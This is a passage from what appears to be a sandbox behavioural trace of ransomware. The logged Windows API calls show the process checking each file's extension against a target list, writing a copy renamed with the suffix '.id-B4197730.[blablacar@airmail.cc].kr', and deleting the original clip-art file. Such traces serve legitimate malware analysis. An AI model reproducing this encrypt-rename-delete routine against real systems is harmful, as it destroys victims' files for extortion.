(lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0186.280] lstrlenW (lpString=".zip") returned 4 [0186.280] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.280] lstrlenW (lpString=".rar") returned 4 [0186.280] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.280] lstrlenW (lpString=".bz2") returned 4 [0186.280] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.280] lstrlenW (lpString=".7z") returned 3 [0186.280] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0186.280] lstrlenW (lpString=".dbf") returned 4 [0186.280] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0186.281] lstrlenW (lpString=".1cd") returned 4 [0186.281] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0186.281] lstrlenW (lpString=".jpg") returned 4 [0186.281] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.281] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0186.281] lstrlenW (lpString="DD00705_.WMF") returned 12 [0186.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0186.281] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=24588) returned 1 [0186.281] CloseHandle (hObject=0x450) returned 1 [0186.282] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf")) returned 0x220 [0186.282] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0186.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0186.282] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0186.282] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0186.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0186.283] GetLastError () returned 0x0 [0186.283] ReadFile (in: hFile=0x450, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x600c, lpOverlapped=0x0) returned 1 [0186.763] WriteFile (in: hFile=0x540, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x6010, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x6010, lpOverlapped=0x0) returned 1 [0186.764] ReadFile (in: hFile=0x450, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0186.764] WriteFile (in: hFile=0x540, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0186.764] SetEndOfFile (hFile=0x540) returned 1 [0186.764] CloseHandle (hObject=0x540) returned 1 [0186.764] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0186.765] SetEndOfFile (hFile=0x450) returned 1 [0186.768] CloseHandle (hObject=0x450) returned 1 [0186.768] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0186.769] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf")) returned 1 [0186.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0186.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0186.770] lstrlenW (lpString=".doc") returned 4 [0186.770] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.770] lstrlenW (lpString=".docx") returned 5 [0186.770] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.770] lstrlenW (lpString=".pdf") returned 4 [0186.770] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.770] lstrlenW (lpString=".xls") returned 4 [0186.770] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.770] lstrlenW (lpString=".xlsx") returned 5 [0186.770] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.770] lstrlenW (lpString=".ppt") returned 4 [0186.770] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0186.770] lstrlenW (lpString=".zip") returned 4 [0186.770] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.770] lstrlenW (lpString=".rar") returned 4 [0186.770] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.770] lstrlenW (lpString=".bz2") returned 4 [0186.770] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.770] lstrlenW (lpString=".7z") returned 3 [0186.770] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0186.770] lstrlenW (lpString=".dbf") returned 4 [0186.770] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0186.770] lstrlenW (lpString=".1cd") returned 4 [0186.770] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0186.770] lstrlenW (lpString=".jpg") returned 4 [0186.770] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0186.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0186.771] lstrlenW (lpString=".doc") returned 4 [0186.771] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.771] lstrlenW (lpString=".docx") returned 5 [0186.771] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.771] lstrlenW (lpString=".pdf") returned 4 [0186.771] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.771] lstrlenW (lpString=".xls") returned 4 [0186.771] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.771] lstrlenW (lpString=".xlsx") returned 5 [0186.771] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.771] lstrlenW (lpString=".ppt") returned 4 [0186.771] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0186.771] lstrlenW (lpString=".zip") returned 4 [0186.771] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.771] lstrlenW (lpString=".rar") returned 4 [0186.771] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.771] lstrlenW (lpString=".bz2") returned 4 [0186.771] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.771] lstrlenW (lpString=".7z") returned 3 [0186.771] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0186.771] lstrlenW (lpString=".dbf") returned 4 [0186.771] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0186.771] lstrlenW (lpString=".1cd") returned 4 [0186.771] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0186.771] lstrlenW (lpString=".jpg") returned 4 [0186.771] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.772] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0186.772] lstrlenW (lpString="DD01143_.WMF") returned 12 [0186.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0186.772] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=2140) returned 1 [0186.772] CloseHandle (hObject=0x450) returned 1 [0186.772] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf")) returned 0x220 [0186.772] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0186.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0186.773] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0186.773] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0186.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0186.774] GetLastError () returned 0x0 [0186.774] ReadFile (in: hFile=0x450, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x85c, lpOverlapped=0x0) returned 1 [0186.776] WriteFile (in: hFile=0x540, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x860, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x860, lpOverlapped=0x0) returned 1 [0186.777] ReadFile (in: hFile=0x450, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0186.777] WriteFile (in: hFile=0x540, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0186.777] SetEndOfFile (hFile=0x540) returned 1 [0186.778] CloseHandle (hObject=0x540) returned 1 [0186.778] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0186.778] SetEndOfFile (hFile=0x450) returned 1 [0186.781] CloseHandle (hObject=0x450) returned 1 [0186.781] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0186.781] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf")) returned 1 [0186.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0186.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0186.782] lstrlenW (lpString=".doc") returned 4 [0186.782] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.782] lstrlenW (lpString=".docx") returned 5 [0186.782] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.782] lstrlenW (lpString=".pdf") returned 4 [0186.782] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.782] lstrlenW (lpString=".xls") returned 4 [0186.782] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.782] lstrlenW (lpString=".xlsx") returned 5 [0186.782] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.782] lstrlenW (lpString=".ppt") returned 4 [0186.782] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0186.782] lstrlenW (lpString=".zip") returned 4 [0186.782] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.782] lstrlenW (lpString=".rar") returned 4 [0186.782] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.782] lstrlenW (lpString=".bz2") returned 4 [0186.782] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.782] lstrlenW (lpString=".7z") returned 3 [0186.782] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0186.782] lstrlenW (lpString=".dbf") returned 4 [0186.782] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0186.782] lstrlenW (lpString=".1cd") returned 4 [0186.783] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0186.783] lstrlenW (lpString=".jpg") returned 4 [0186.783] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0186.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0186.783] lstrlenW (lpString=".doc") returned 4 [0186.783] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.783] lstrlenW (lpString=".docx") returned 5 [0186.783] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.783] lstrlenW (lpString=".pdf") returned 4 [0186.783] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.783] lstrlenW (lpString=".xls") returned 4 [0186.783] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.783] lstrlenW (lpString=".xlsx") returned 5 [0186.783] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.783] lstrlenW (lpString=".ppt") returned 4 [0186.783] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0186.783] lstrlenW (lpString=".zip") returned 4 [0186.783] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.783] lstrlenW (lpString=".rar") returned 4 [0186.783] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.783] lstrlenW (lpString=".bz2") returned 4 [0186.783] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.783] lstrlenW (lpString=".7z") returned 3 [0186.783] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0186.783] lstrlenW (lpString=".dbf") returned 4 [0186.783] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0186.783] lstrlenW (lpString=".1cd") returned 4 [0186.783] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0186.784] lstrlenW (lpString=".jpg") returned 4 [0186.784] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.784] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0186.784] lstrlenW (lpString="DD01145_.WMF") returned 12 [0186.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0186.785] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=2780) returned 1 [0186.785] CloseHandle (hObject=0x450) returned 1 [0186.785] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf")) returned 0x220 [0186.785] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0186.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0186.786] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0186.786] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0186.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0186.786] GetLastError () returned 0x0 [0186.786] ReadFile (in: hFile=0x450, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0xadc, lpOverlapped=0x0) returned 1 [0186.788] WriteFile (in: hFile=0x540, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xae0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xae0, lpOverlapped=0x0) returned 1 [0186.789] ReadFile (in: hFile=0x450, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0186.789] WriteFile (in: hFile=0x540, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0186.789] SetEndOfFile (hFile=0x540) returned 1 [0186.789] CloseHandle (hObject=0x540) returned 1 [0186.789] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0186.789] SetEndOfFile (hFile=0x450) returned 1 [0186.791] CloseHandle (hObject=0x450) returned 1 [0186.792] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0186.792] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf")) returned 1 [0186.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0186.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0186.792] lstrlenW (lpString=".doc") returned 4 [0186.792] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.792] lstrlenW (lpString=".docx") returned 5 [0186.792] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.793] lstrlenW (lpString=".pdf") returned 4 [0186.793] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.793] lstrlenW (lpString=".xls") returned 4 [0186.793] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.793] lstrlenW (lpString=".xlsx") returned 5 [0186.793] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.793] lstrlenW (lpString=".ppt") returned 4 [0186.793] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0186.793] lstrlenW (lpString=".zip") returned 4 [0186.793] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.793] lstrlenW (lpString=".rar") returned 4 [0186.793] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.793] lstrlenW (lpString=".bz2") returned 4 [0186.793] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.793] lstrlenW (lpString=".7z") returned 3 [0186.793] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0186.793] lstrlenW (lpString=".dbf") returned 4 [0186.793] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0186.793] lstrlenW (lpString=".1cd") returned 4 [0186.793] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0186.793] lstrlenW (lpString=".jpg") returned 4 [0186.794] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0186.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0186.794] lstrlenW (lpString=".doc") returned 4 [0186.794] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.794] lstrlenW (lpString=".docx") returned 5 [0186.794] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.794] lstrlenW (lpString=".pdf") returned 4 [0186.794] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.794] lstrlenW (lpString=".xls") returned 4 [0186.794] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.794] lstrlenW (lpString=".xlsx") returned 5 [0186.794] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.794] lstrlenW (lpString=".ppt") returned 4 [0186.794] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0186.794] lstrlenW (lpString=".zip") returned 4 [0186.794] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.794] lstrlenW (lpString=".rar") returned 4 [0186.794] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.794] lstrlenW (lpString=".bz2") returned 4 [0186.794] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.794] lstrlenW (lpString=".7z") returned 3 